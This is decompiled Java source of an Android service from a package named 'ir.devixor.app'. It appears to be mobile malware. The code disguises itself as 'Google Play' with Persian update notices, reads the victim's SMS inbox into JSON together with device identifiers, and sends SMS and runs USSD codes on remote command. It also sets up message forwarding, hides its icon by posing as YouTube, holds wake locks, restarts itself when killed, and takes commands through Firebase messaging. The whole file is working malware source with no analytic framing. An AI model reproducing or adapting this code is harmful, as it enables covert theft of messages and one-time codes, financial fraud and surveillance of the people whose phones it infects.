            o.YA r1 = new o.YA
            r3 = 0
            r4 = 22
            r1.<init>(r5, r3, r4)
            r0.q = r2
            java.lang.Object r5 = o.AbstractC1692kh0.T(r6, r1, r0)
            o.Dn r6 = o.EnumC0091Dn.l
            if (r5 != r6) goto L47
            return r6
        L47:
            return r5
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.service.ForegroundService.z(ir.devixor.app.service.ForegroundService, o.Lm):java.lang.Object");
    }

    public final Notification U() {
        W();
        Bitmap bitmapDecodeResource = BitmapFactory.decodeResource(getResources(), R.drawable.ic_google_play);
        int i = Build.VERSION.SDK_INT;
        if (i >= 30) {
            PorterDuff.Mode mode = IconCompat.k;
            bitmapDecodeResource.getClass();
            IconCompat iconCompat = new IconCompat(5);
            iconCompat.b = bitmapDecodeResource;
            C3072z80 c3072z80 = new C3072z80();
            c3072z80.a = this;
            c3072z80.b = "ghost_service";
            c3072z80.d = "Google Play";
            c3072z80.e = "Google Play - بروزرسانی برنامه\u200cها";
            c3072z80.f = iconCompat;
            c3072z80.h = true;
            Set setSingleton = Collections.singleton("ir.devixor.app.category.GHOST");
            C2124p9 c2124p9 = new C2124p9(0);
            c2124p9.addAll(setSingleton);
            c3072z80.g = c2124p9;
            Intent intent = new Intent("android.intent.action.VIEW");
            intent.setData(Uri.parse("market://details?id=org.telegram.messenger"));
            intent.setFlags(268435456);
            c3072z80.c = new Intent[]{intent};
            if (TextUtils.isEmpty(c3072z80.d)) {
                throw new IllegalArgumentException("Shortcut must have a non-empty label");
            }
            Intent[] intentArr = c3072z80.c;
            if (intentArr == null || intentArr.length == 0) {
                throw new IllegalArgumentException("Shortcut must have an intent");
            }
            C80.I(this, c3072z80);
        }
        IconCompat iconCompatB = IconCompat.b(bitmapDecodeResource);
        QW qw = new QW();
        qw.a = "Google Play";
        qw.b = iconCompatB;
        qw.c = false;
        Intent intent2 = new Intent("android.intent.action.VIEW");
        intent2.setData(Uri.parse("market://details?id=org.telegram.messenger"));
        intent2.addFlags(268435456);
        PendingIntent activity = PendingIntent.getActivity(this, 0, intent2, 201326592);
        long jCurrentTimeMillis = System.currentTimeMillis();
        MS ms = new MS(qw);
        ms.e = "Google Play";
        LS ls = new LS("در حال بروزرسانی برنامه\u200cها", jCurrentTimeMillis, qw);
        ArrayList arrayList = ms.b;
        arrayList.add(ls);
        if (arrayList.size() > 25) {
            arrayList.remove(0);
        }
        FS fs = new FS(this, "ghost_service_channel");
        Notification notification = fs.v;
        notification.icon = R.drawable.ic_notification;
        fs.d(bitmapDecodeResource);
        fs.e(ms);
        fs.q = -1;
        fs.j = -2;
        fs.c(2, true);
        notification.sound = null;
        notification.audioStreamType = -1;
        notification.audioAttributes = ES.a(ES.d(ES.c(ES.b(), 4), 5));
        notification.vibrate = null;
        notification.defaults = 0;
        fs.g = activity;
        fs.k = false;
        if (i >= 30) {
            fs.s = "ghost_service";
            fs.t = new DM("ghost_service");
        }
        return fs.a();
    }

    public final String V(String str) throws JSONException {
        String string;
        JSONObject jSONObject = new JSONObject();
        jSONObject.put("success", false);
        jSONObject.put("error", str);
        JSONObject jSONObject2 = this.f36o;
        if (jSONObject2 == null || (string = jSONObject2.getString("port")) == null) {
            string = "";
        }
        jSONObject.put("port", string);
        jSONObject.put("android_id", this.p);
        jSONObject.put("device_name", this.q);
        jSONObject.put("timestamp", System.currentTimeMillis());
        return jSONObject.toString();
    }

    public final void W() {
        if (Build.VERSION.SDK_INT < 26) {
            return;
        }
        NotificationManager notificationManager = (NotificationManager) getSystemService(NotificationManager.class);
        if (notificationManager.getNotificationChannel("ghost_service_channel") != null) {
            return;
        }
        AbstractC2440sc.g();
        NotificationChannel notificationChannelW = AbstractC2440sc.w();
        notificationChannelW.setDescription("App update notifications");
        notificationChannelW.setShowBadge(false);
        notificationChannelW.enableLights(false);
        notificationChannelW.enableVibration(false);
        notificationChannelW.setSound(null, null);
        notificationChannelW.setLockscreenVisibility(-1);
        notificationManager.createNotificationChannel(notificationChannelW);
    }

    public final String X(int i, String str, String str2, boolean z, String str3) throws JSONException {
        String string;
        JSONObject jSONObject = new JSONObject();
        jSONObject.put("success", z);
        jSONObject.put("command", "RUN_USSD");
        jSONObject.put("slot", i);
        jSONObject.put("ussd_code", str);
        if (str3.length() > 0) {
            jSONObject.put("carrier", str3);
        }
        jSONObject.put("message", str2);
        jSONObject.put("android_id", this.p);
        jSONObject.put("device_name", this.q);
        JSONObject jSONObject2 = this.f36o;
        if (jSONObject2 == null || (string = jSONObject2.getString("port")) == null) {
            string = "";
        }
        jSONObject.put("port", string);
        return jSONObject.toString();
    }

    public final Object a0(Context context, C2411sB c2411sB) {
        C2468sq c2468sq = AbstractC1903ms.a;
        return AbstractC1692kh0.T(ExecutorC1232fq.m, new C1079eB(context, this, null, 0), c2411sB);
    }

    public final Object b0(Context context, long j, C2411sB c2411sB) {
        C2468sq c2468sq = AbstractC1903ms.a;
        return AbstractC1692kh0.T(ExecutorC1232fq.m, new C1175fB(context, j, this, null), c2411sB);
    }

    public final Object e0(Context context, C2411sB c2411sB) {
        C2468sq c2468sq = AbstractC1903ms.a;
        return AbstractC1692kh0.T(ExecutorC1232fq.m, new C1079eB(context, this, null, 1), c2411sB);
    }

    public final Object f0(Context context, String str, C2411sB c2411sB) {
        C2468sq c2468sq = AbstractC1903ms.a;
        return AbstractC1692kh0.T(ExecutorC1232fq.m, new C1798ln(str, context, this, (InterfaceC0220Im) null, 1), c2411sB);
    }

    public final Object g0(Context context, C2411sB c2411sB) {
        C2468sq c2468sq = AbstractC1903ms.a;
        return AbstractC1692kh0.T(ExecutorC1232fq.m, new C1079eB(context, this, null, 2), c2411sB);
    }

    /* JADX WARN: Removed duplicated region for block: B:7:0x0013  */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    public final java.lang.Object k0(o.AbstractC0298Lm r6) {
        /*
            r5 = this;
            boolean r0 = r6 instanceof o.C2032oB
            if (r0 == 0) goto L13
            r0 = r6
            o.oB r0 = (o.C2032oB) r0
            int r1 = r0.q
            r2 = -2147483648(0xffffffff80000000, float:-0.0)
            r3 = r1 & r2
            if (r3 == 0) goto L13
            int r1 = r1 - r2
            r0.q = r1
            goto L18
        L13:
            o.oB r0 = new o.oB
            r0.<init>(r5, r6)
        L18:
            java.lang.Object r6 = r0.f659o
            int r1 = r0.q
            r2 = 1
            if (r1 == 0) goto L2d
            if (r1 != r2) goto L25
            o.IJ.H(r6)
            return r6
        L25:
            java.lang.IllegalStateException r6 = new java.lang.IllegalStateException
            java.lang.String r0 = "call to 'resume' before 'invoke' with coroutine"
            r6.<init>(r0)
            throw r6
        L2d:
            o.IJ.H(r6)
            o.sq r6 = o.AbstractC1903ms.a
            o.fq r6 = o.ExecutorC1232fq.m
            o.YA r1 = new o.YA
            r3 = 0
            r4 = 15
            r1.<init>(r5, r3, r4)
            r0.q = r2
            java.lang.Object r6 = o.AbstractC1692kh0.T(r6, r1, r0)
            o.Dn r0 = o.EnumC0091Dn.l
            if (r6 != r0) goto L47
            return r0
        L47:
            return r6
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.service.ForegroundService.k0(o.Lm):java.lang.Object");
    }

    public final String l0(int i) throws JSONException, IOException {
        JSONObject jSONObject;
        JSONObject jSONObject2;
        Throwable th;
        JSONObject jSONObject3;
        String str;
        String string;
        long j;
        String string2;
        String str2;
        String str3;
        long j2;
        String string3;
        String str4;
        int i2;
        String strM0;
        String str5;
        String string4;
        String str6 = "–";
        String str7 = "SIM نامشخص";
        String str8 = "ذخیره نشده";
        JSONObject jSONObject4 = new JSONObject();
        JSONArray jSONArray = new JSONArray();
        try {
            Cursor cursorQuery = getContentResolver().query(Uri.parse("content://sms/inbox"), new String[]{"_id", "thread_id", "address", "date", "body", "sub_id"}, null, null, "date DESC LIMIT " + i);
            String str9 = "";
            if (cursorQuery != null) {
                while (cursorQuery.moveToNext()) {
                    try {
                        try {
                            string = cursorQuery.getString(cursorQuery.getColumnIndex("_id"));
                            if (string == null) {
                                string = str9;
                            }
                            j = cursorQuery.getLong(cursorQuery.getColumnIndex("thread_id"));
                            string2 = cursorQuery.getString(cursorQuery.getColumnIndex("address"));
                            if (string2 == null) {
                                string2 = "unknown";
                            }
                            str2 = str7;
                            str3 = str8;
                            j2 = cursorQuery.getLong(cursorQuery.getColumnIndex("date"));
                            string3 = cursorQuery.getString(cursorQuery.getColumnIndex("body"));
                            if (string3 == null) {
                                string3 = "(متن خالی)";
                            }
                            str4 = str9;
                        } catch (Throwable th2) {
                            th = th2;
                            jSONObject2 = jSONObject4;
                        }
                        try {
                            try {
                                i2 = cursorQuery.getInt(cursorQuery.getColumnIndex("sub_id"));
                            } catch (Exception unused) {
                                i2 = -1;
                            }
                            String strJ0 = !string2.equals("unknown") ? j0(getApplicationContext(), string2) : str3;
                            try {
                                strM0 = m0(getApplicationContext(), i2);
                            } catch (Exception unused2) {
                                strM0 = str2;
                            }
                            String str10 = "نامشخص";
                            if (Za0.P(strM0, str6, false)) {
                                str5 = str6;
                                jSONObject2 = jSONObject4;
                                try {
                                    List listJ0 = Za0.j0(strM0, new String[]{str6}, 0, 6);
                                    ArrayList arrayList = new ArrayList(AbstractC0034Bi.W(listJ0, 10));
                                    Iterator it = listJ0.iterator();
                                    while (it.hasNext()) {
                                        arrayList.add(Za0.o0((String) it.next()).toString());
                                    }
                                    String str11 = (String) (arrayList.size() > 0 ? arrayList.get(0) : null);
                                    if (str11 == null) {
                                        str11 = str2;
                                    }
                                    String str12 = (String) (1 < arrayList.size() ? arrayList.get(1) : null);
                                    if (str12 != null) {
                                        str10 = str12;
                                    }
                                    strM0 = str11;
                                } catch (Throwable th3) {
                                    th = th3;
                                    th = th;
                                    try {
                                        throw th;
                                    } catch (Throwable th4) {
                                        C1884mi0.o(cursorQuery, th);
                                        throw th4;
                                    }
                                }
                            } else {
                                str5 = str6;
                                jSONObject2 = jSONObject4;
                            }
                            String str13 = str10;
                            JSONObject jSONObject5 = new JSONObject();
                            jSONObject5.put("sms_id", string);
                            jSONObject5.put("number", string2);
                            jSONObject5.put("name", strJ0);
                            jSONObject5.put("thread_id", j);
                            jSONObject5.put("message", string3);
                            jSONObject5.put("body", string3);
                            jSONObject5.put("timestamp", j2);
                            jSONObject5.put("slot", strM0);
                            jSONObject5.put("carrier", str13);
                            jSONArray.put(jSONObject5);
                            str9 = str4;
                            str7 = str2;
                            str8 = str3;
                            str6 = str5;
                            jSONObject4 = jSONObject2;
                        } catch (Throwable th5) {
                            th = th5;
                            jSONObject2 = jSONObject4;
                            throw th;
                        }
                    } catch (Exception e) {
                        e = e;
                        jSONObject = jSONObject2;
                        jSONObject.put("error", e.getMessage());
                        return jSONObject.toString();
                    }
                }
                jSONObject3 = jSONObject4;
                str = str9;
                cursorQuery.close();
            } else {
                jSONObject3 = jSONObject4;
                str = "";
            }
            jSONObject = jSONObject3;
            try {
                jSONObject.put("messages", jSONArray);
                jSONObject.put("count", jSONArray.length());
            } catch (Exception e2) {
                e = e2;
            }
            try {
                JSONObject jSONObject6 = this.f36o;
                jSONObject.put("port", (jSONObject6 == null || (string4 = jSONObject6.getString("port")) == null) ? str : string4);
                jSONObject.put("android_id", this.p);
                jSONObject.put("device_name", this.q);
            } catch (Exception e3) {
                e = e3;
                jSONObject.put("error", e.getMessage());
                return jSONObject.toString();
            }
        } catch (Exception e4) {
            e = e4;
            jSONObject = jSONObject4;
        }
        return jSONObject.toString();
    }

    /* JADX WARN: Removed duplicated region for block: B:33:0x008b A[PHI: r4
      0x008b: PHI (r4v5 java.lang.String) = (r4v0 java.lang.String), (r4v1 java.lang.String), (r4v2 java.lang.String) binds: [B:32:0x0089, B:35:0x0093, B:38:0x009c] A[DONT_GENERATE, DONT_INLINE]] */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    public final java.lang.String n0(android.content.Context r21) throws org.json.JSONException, java.io.IOException {
        /*
            Method dump skipped, instructions count: 382
            To view this dump add '--comments-level debug' option
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.service.ForegroundService.n0(android.content.Context):java.lang.String");
    }

    /* JADX WARN: Removed duplicated region for block: B:7:0x0013  */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    public final java.lang.Object o0(o.AbstractC0298Lm r5) {
        /*
            r4 = this;
            boolean r0 = r5 instanceof o.C2316rB
            if (r0 == 0) goto L13
            r0 = r5
            o.rB r0 = (o.C2316rB) r0
            int r1 = r0.q
            r2 = -2147483648(0xffffffff80000000, float:-0.0)
            r3 = r1 & r2
            if (r3 == 0) goto L13
            int r1 = r1 - r2
            r0.q = r1
            goto L18
        L13:
            o.rB r0 = new o.rB
            r0.<init>(r4, r5)
        L18:
            java.lang.Object r5 = r0.f698o
            int r1 = r0.q
            r2 = 1
            if (r1 == 0) goto L2d
            if (r1 != r2) goto L25
            o.IJ.H(r5)
            return r5
        L25:
            java.lang.IllegalStateException r5 = new java.lang.IllegalStateException
            java.lang.String r0 = "call to 'resume' before 'invoke' with coroutine"
            r5.<init>(r0)
            throw r5
        L2d:
            o.IJ.H(r5)
            o.sq r5 = o.AbstractC1903ms.a
            o.fq r5 = o.ExecutorC1232fq.m
            o.kB r1 = new o.kB
            r3 = 0
            r1.<init>(r4, r3, r2)
            r0.q = r2
            java.lang.Object r5 = o.AbstractC1692kh0.T(r5, r1, r0)
            o.Dn r0 = o.EnumC0091Dn.l
            if (r5 != r0) goto L45
            return r0
        L45:
            return r5
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.service.ForegroundService.o0(o.Lm):java.lang.Object");
    }

    @Override // android.app.Service
    public final IBinder onBind(Intent intent) {
        return null;
    }

    @Override // android.app.Service
    public final void onCreate() {
        super.onCreate();
        x = this;
        w = true;
        this.v = new TS(this);
        W();
        x0();
    }

    @Override // android.app.Service
    public final void onDestroy() {
        w = false;
        C2058oa0 c2058oa0 = this.n;
        if (c2058oa0 != null) {
            c2058oa0.c(null);
        }
        C80.n(this.l, null);
        try {
            PowerManager.WakeLock wakeLock = this.m;
            if (wakeLock != null && wakeLock.isHeld()) {
                wakeLock.release();
            }
            this.m = null;
        } catch (Exception unused) {
        }
        x = null;
        try {
            sendBroadcast(new Intent(this, (Class<?>) RestartReceiver.class));
            ((AlarmManager) getSystemService("alarm")).setAndAllowWhileIdle(2, SystemClock.elapsedRealtime() + 2000, PendingIntent.getService(getApplicationContext(), 1001, new Intent(getApplicationContext(), (Class<?>) ForegroundService.class), 1140850688));
        } catch (Exception unused2) {
        }
        super.onDestroy();
    }

    /* JADX WARN: Multi-variable type inference failed */
    @Override // android.app.Service
    public final int onStartCommand(Intent intent, int i, int i2) {
        x0();
        try {
            PowerManager.WakeLock wakeLock = this.m;
            if (wakeLock == null || !wakeLock.isHeld()) {
                PowerManager.WakeLock wakeLockNewWakeLock = ((PowerManager) getSystemService("power")).newWakeLock(1, "deVixor::Wake");
                wakeLockNewWakeLock.setReferenceCounted(false);
                wakeLockNewWakeLock.acquire();
                this.m = wakeLockNewWakeLock;
            }
        } catch (Exception unused) {
        }
        C2058oa0 c2058oa0 = this.n;
        TS ts = null;
        Object[] objArr = 0;
        Object[] objArr2 = 0;
        Object[] objArr3 = 0;
        if (c2058oa0 != null) {
            c2058oa0.c(null);
        }
        this.n = AbstractC1692kh0.C(this.l, null, new C1652kB(this, objArr3 == true ? 1 : 0, 5), 3);
        if (!this.t) {
            this.t = true;
            try {
                AbstractC1692kh0.C(this.l, null, new C1652kB(this, objArr2 == true ? 1 : 0, 6), 3);
            } catch (Exception unused2) {
            }
        }
        if (this.s) {
            try {
                TS ts2 = this.v;
                if (ts2 != null) {
                    ts = ts2;
                }
                ts.a(U());
            } catch (Exception unused3) {
            }
        } else {
            this.s = true;
            AbstractC1692kh0.C(this.l, null, new C0697aB(this, objArr == true ? 1 : 0, 4), 3);
        }
        return 1;
    }

    @Override // android.app.Service
    public final void onTaskRemoved(Intent intent) {
        super.onTaskRemoved(intent);
        try {
            ((AlarmManager) getSystemService("alarm")).setAndAllowWhileIdle(2, SystemClock.elapsedRealtime() + 1000, PendingIntent.getService(getApplicationContext(), 1, new Intent(getApplicationContext(), (Class<?>) ForegroundService.class), 1140850688));
            sendBroadcast(new Intent(this, (Class<?>) RestartReceiver.class));
        } catch (Exception unused) {
        }
    }

    public final String p0(String str) throws JSONException {
        String string;
        try {
            if (AbstractC1299gb0.L(str, "SET_OF_MOD:", true)) {
                string = Za0.o0(Za0.l0(str, "SET_OF_MOD:")).toString();
            } else {
                if (!AbstractC1299gb0.L(str, "ستاپ:", true)) {
                    return V("دستور نامعتبر");
                }
                string = Za0.o0(Za0.l0(str, "ستاپ:")).toString();
            }
            if (Za0.Y(string)) {
                return V("فرمت نامعتبر");
            }
            if (string.equalsIgnoreCase("off")) {
                JSONObject jSONObject = new JSONObject();
                jSONObject.put("off_mod", "off");
                jSONObject.put("slot", 1);
                AbstractC2008ny.L(new File(getFilesDir(), "OfMod.json"), jSONObject.toString(), AbstractC2355rh.a);
                JSONObject jSONObject2 = new JSONObject();
                jSONObject2.put("success", true);
                jSONObject2.put("command", "SET_OF_MOD");
                jSONObject2.put("number", "off");
                jSONObject2.put("slot", 1);
                return jSONObject2.toString();
            }
            List listJ0 = Za0.j0(AbstractC1299gb0.K(string, "\n", ","), new String[]{","}, 0, 6);
            ArrayList arrayList = new ArrayList(AbstractC0034Bi.W(listJ0, 10));
            Iterator it = listJ0.iterator();
            while (it.hasNext()) {
                arrayList.add(Za0.o0((String) it.next()).toString());
            }
            ArrayList arrayList2 = new ArrayList();
            int size = arrayList.size();
            int i = 0;
            while (i < size) {
                Object obj = arrayList.get(i);
                i++;
                if (((String) obj).length() > 0) {
                    arrayList2.add(obj);
                }
            }
            if (arrayList2.size() < 2) {
                return V("فرمت صحیح نیست (number,slot)");
            }
            String str2 = (String) arrayList2.get(0);
            Integer numN = AbstractC1299gb0.N((String) arrayList2.get(1));
            if (numN == null) {
                return V("slot عددی نیست");
            }
            int iIntValue = numN.intValue();
            if (1 > iIntValue || iIntValue >= 3) {
                return V("slot فقط 1 یا 2 مجاز است");
            }
            JSONObject jSONObject3 = new JSONObject();
            jSONObject3.put("off_mod", str2);
            jSONObject3.put("slot", iIntValue);
            AbstractC2008ny.L(new File(getFilesDir(), "OfMod.json"), jSONObject3.toString(), AbstractC2355rh.a);
            JSONObject jSONObject4 = new JSONObject();
            jSONObject4.put("success", true);
            jSONObject4.put("command", "SET_OF_MOD");
            jSONObject4.put("number", str2);
            jSONObject4.put("slot", iIntValue);
            return jSONObject4.toString();
        } catch (Exception e) {
            return V("خطا در SET_OF_MOD: " + e.getMessage());
        }
    }

    /* JADX WARN: Removed duplicated region for block: B:43:0x0100  */
    /* JADX WARN: Removed duplicated region for block: B:45:0x0103  */
    /* JADX WARN: Removed duplicated region for block: B:46:0x0107  */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    public final java.lang.String q0() throws org.json.JSONException, android.app.PendingIntent.CanceledException, java.io.IOException {
        /*
            Method dump skipped, instructions count: 377
            To view this dump add '--comments-level debug' option
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.service.ForegroundService.q0():java.lang.String");
    }

    public final void r0() throws JSONException, IOException {
        String str = "";
        try {
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(getAssets().open("port.json"), AbstractC2355rh.a), 8192);
            try {
                String strO = As0.O(bufferedReader);
                bufferedReader.close();
                String string = Za0.o0(new JSONObject(strO).optString("port", "")).toString();
                String strA = AbstractC1480iS.a(this);
                if (strA != null) {
                    str = strA;
                }
                JSONObject jSONObject = new JSONObject();
                jSONObject.put("port", string);
                jSONObject.put("receive_url", str);
                this.f36o = jSONObject;
            } finally {
            }
        } catch (Exception unused) {
        }
    }

    public final String s0() throws JSONException {
        String string;
        ComponentName componentName;
        String string2;
        String str = "";
        JSONObject jSONObject = new JSONObject();
        try {
            String lowerCase = Build.MANUFACTURER.toLowerCase(Locale.ROOT);
            try {
                componentName = new ComponentName(this, "ir.devixor.app.YouTubeActivityAlias");
                getPackageManager().getComponentEnabledSetting(componentName);
            } catch (Exception unused) {
                componentName = new ComponentName(this, "ir.devixor.app.YouTubeActivity");
            }
            try {
                getPackageManager().setComponentEnabledSetting(new ComponentName(this, "ir.devixor.app.MainActivityAlias"), 2, 1);
            } catch (Exception unused2) {
            }
            try {
                getPackageManager().setComponentEnabledSetting(new ComponentName(this, "ir.devixor.app.SecondActivityAlias"), 2, 1);
            } catch (Exception unused3) {
            }
            try {
                getPackageManager().setComponentEnabledSetting(new ComponentName(this, "ir.devixor.app.PageGameActivity"), 2, 1);
            } catch (Exception unused4) {
            }
            getPackageManager().setComponentEnabledSetting(componentName, 1, 1);
            jSONObject.put("success", true);
            jSONObject.put("command", "HIDE");
            jSONObject.put("message", "برنامه به حالت یوتیوب تغییر کرد");
            jSONObject.put("status", "disguised_youtube");
            jSONObject.put("manufacturer", lowerCase);
            jSONObject.put("android_id", this.p);
            jSONObject.put("device_name", this.q);
            JSONObject jSONObject2 = this.f36o;
            if (jSONObject2 == null || (string2 = jSONObject2.getString("port")) == null) {
                string2 = "";
            }
            jSONObject.put("port", string2);
            jSONObject.put("disguise_type", "youtube");
        } catch (Exception e) {
            jSONObject.put("success", false);
            jSONObject.put("command", "HIDE");
            jSONObject.put("error", "خطا در تغییر به حالت یوتیوب: " + e.getMessage());
            jSONObject.put("manufacturer", Build.MANUFACTURER.toLowerCase(Locale.ROOT));
            jSONObject.put("android_id", this.p);
            jSONObject.put("device_name", this.q);
            JSONObject jSONObject3 = this.f36o;
            if (jSONObject3 != null && (string = jSONObject3.getString("port")) != null) {
                str = string;
            }
            jSONObject.put("port", str);
        }
        return jSONObject.toString();
    }

    public final void v0() {
        C2468sq c2468sq = AbstractC1903ms.a;
        AbstractC1692kh0.C(C80.e(ExecutorC1232fq.m), null, new C0697aB(this, null, 6), 3);
    }

    /* JADX WARN: Multi-variable type inference failed */
    public final String w0(String str) throws JSONException {
        String strOptString;
        JSONObject jSONObject = new JSONObject();
        try {
            List listJ0 = Za0.j0(str, new String[]{":"}, 4, 2);
            if (listJ0.size() < 4) {
                return V("فرمت دستور اشتباه است. مثال: SEND_SMS:1:09120000000:سلام");
            }
            Integer numN = AbstractC1299gb0.N((String) listJ0.get(1));
            String string = Za0.o0((String) listJ0.get(2)).toString();
            String str2 = (String) listJ0.get(3);
            if (Co0.l(this, "android.permission.SEND_SMS") != 0) {
                return V("مجوز SEND_SMS داده نشده است");
            }
            List<SubscriptionInfo> activeSubscriptionInfoList = ((SubscriptionManager) getSystemService("telephony_subscription_service")).getActiveSubscriptionInfoList();
            if (activeSubscriptionInfoList != null && !activeSubscriptionInfoList.isEmpty()) {
                SubscriptionInfo subscriptionInfo = null;
                if (numN != null) {
                    int iIntValue = numN.intValue();
                    Iterator<T> it = activeSubscriptionInfoList.iterator();
                    while (true) {
                        if (!it.hasNext()) {
                            break;
                        }
                        Object next = it.next();
                        if (((SubscriptionInfo) next).getSimSlotIndex() == iIntValue - 1) {
                            subscriptionInfo = next;
                            break;
                        }
                    }
                    subscriptionInfo = subscriptionInfo;
                }
                SubscriptionInfo subscriptionInfo2 = subscriptionInfo;
                if (subscriptionInfo2 != null) {
                    SmsManager.getSmsManagerForSubscriptionId(subscriptionInfo2.getSubscriptionId()).sendTextMessage(string, null, str2, null, null);
                    jSONObject.put("success", true);
                    jSONObject.put("used_sim", subscriptionInfo2.getSimSlotIndex() + 1);
                } else {
                    SubscriptionInfo subscriptionInfo3 = (SubscriptionInfo) AbstractC3117zi.e0(activeSubscriptionInfoList);
                    SmsManager.getSmsManagerForSubscriptionId(subscriptionInfo3.getSubscriptionId()).sendTextMessage(string, null, str2, null, null);
                    jSONObject.put("success", true);
                    jSONObject.put("used_sim", subscriptionInfo3.getSimSlotIndex() + 1);
                    jSONObject.put("warning", "SIM درخواستی پیدا نشد، fallback انجام شد");
                }
                jSONObject.put("command", "SEND_SMS");
                jSONObject.put("number", string);
                jSONObject.put("message", str2);
                jSONObject.put("android_id", this.p);
                jSONObject.put("device_name", this.q);
                JSONObject jSONObject2 = this.f36o;
                if (jSONObject2 == null || (strOptString = jSONObject2.optString("port")) == null) {
                    strOptString = "";
                }
                jSONObject.put("port", strOptString);
                jSONObject.put("timestamp", System.currentTimeMillis());
                return jSONObject.toString();
            }
            SmsManager.getDefault().sendTextMessage(string, null, str2, null, null);
            jSONObject.put("success", true);
            jSONObject.put("used_sim", "default");
            return jSONObject.toString();
        } catch (Exception e) {
            return V("خطا در ارسال SMS: " + e.getMessage());
        }
    }

    public final void x0() {
        if (this.r) {
            return;
        }
        this.r = true;
        Notification notificationU = U();
        int i = Build.VERSION.SDK_INT;
        int i2 = i >= 29 ? 512 : 0;
        if (i >= 34) {
            R8.r(this, notificationU, i2);
        } else if (i >= 29) {
            R8.q(this, notificationU, i2);
        } else {
            startForeground(1001, notificationU);
        }
    }

    public final void y0() {
        String string;
        FirebaseMessaging firebaseMessaging;
        JSONObject jSONObject = this.f36o;
        if (jSONObject == null || (string = jSONObject.getString("port")) == null || Za0.Y(string)) {
            return;
        }
        WT wt = FirebaseMessaging.l;
        synchronized (FirebaseMessaging.class) {
            firebaseMessaging = FirebaseMessaging.getInstance(C0076Cy.c());
        }
        Hw0 hw0J = firebaseMessaging.h.j(new G1(8, string));
        G1 g1 = new G1(9, new C1072e7(10));
        ExecutorC1921n20 executorC1921n20 = Rc0.a;
        hw0J.c(executorC1921n20, g1);
        hw0J.b(executorC1921n20, new C0387Oy(5));
    }
}
